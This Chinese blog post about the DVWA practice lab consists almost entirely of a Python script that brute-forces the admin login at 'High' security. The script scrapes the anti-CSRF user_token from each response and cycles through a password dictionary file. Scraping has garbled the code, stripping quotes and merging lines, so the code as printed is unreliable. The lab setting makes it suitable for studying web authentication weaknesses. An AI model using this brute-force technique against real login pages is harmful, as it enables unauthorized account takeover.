1. 程式人生 > >Brute Force-python

Brute Force-python

timeout 腳本 gin txt form exc time ges cte

本篇文章主要圍繞DVWA滲透測試平臺,暴力破解-High級別

分析部分略去,直接上腳本代碼:

coding:utf-8
#author:freem

import requests
from bs4 import BeautifulSoup
import urllib

header={
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
Accept-Encoding:gzip, deflate,
Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
, Cookie:security=high; PHPSESSID=5jr7egbt0r324aklohb699u2q1, Host:192.168.207.129, Referer:http://192.168.207.129/DVWA/vulnerabilities/brute/index.php, Upgrade-Insecure-Requests:1, User-Agent:Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0, Connection: keep-alive
} #headers def get_content(request_url,headers): #用於請求 try: if request_url is None: return "" response=requests.get(request_url,headers=headers,timeout=20) response.raise_for_status() response.encoding=response.apparent_encoding return
response.text # print(len(response.text)) # print(response.text) except : print("Please be careful of exception!") print(requests.ConnectionError.strerror) def get_detail(url): try: if url is None: return "" response=requests.get(url,timeout=20) response.raise_for_status() response.encoding=response.apparent_encoding return response.text # print(response.text) except : print("Please be careful of exception!") print(requests.ConnectionError.strerror) def get_taken(url,content): #用於獲取 if url is None or content is None: return None soup=BeautifulSoup(content,html.parser) taken=soup.find(form).find(input,type="hidden") # print(taken) user_taken=taken[value] # print(type(user_taken)) return user_taken def brute_force(user_taken,passwd,successful_check,header): #單個頁面破解 brute_url=http://192.168.207.129/DVWA/vulnerabilities/brute/?username=admin&password=123456789&Login=Login&user_token=+user_taken brute_page=requests.get(brute_url,headers=header).text # print(brute_page) if successful_check in brute_page: print("username:admin\n+password:"+passwd+"\n brute_force successufl!") else: print("failed ~~~~~~~~") def brute_force_dir(user_taken,file,successful_check,header): #字典破解 with open(file,r) as f: #打開字典文件 for line in f: passwd=line #每次讀取一行,並且賦值給passwd作為密碼,帶入url brute_url=http://192.168.207.129/DVWA/vulnerabilities/brute/?username=admin&password=+passwd.strip()+&Login=Login&user_token=+user_taken print(brute_url) brute_page=get_content(brute_url,header) user_taken = get_taken(brute_url, brute_page) #或許當前user_taken 值 # print(user_taken) print(len(brute_page)) if successful_check in brute_page: #如果匹配成功,給出成功提示 print("username:admin\npassword:"+passwd+"\n brute_force successufl!") else: print("username:admin\npassword:"+passwd+"\n brute_force faild~~") #匹配失敗 url=http://192.168.207.129/DVWA/vulnerabilities/brute/ successful_check="Welcome to the password protected area" content=get_content(url,header) print(len(content)) # print(content) user_taken=get_taken(url,content) password="ppp.txt" #字典文件ppp.txt # password="123456789" # brute_force(url,user_taken,password,successful_check,header) brute_force_dir(user_taken,password,successful_check,header)

結果如下:

技術分享

Brute Force-python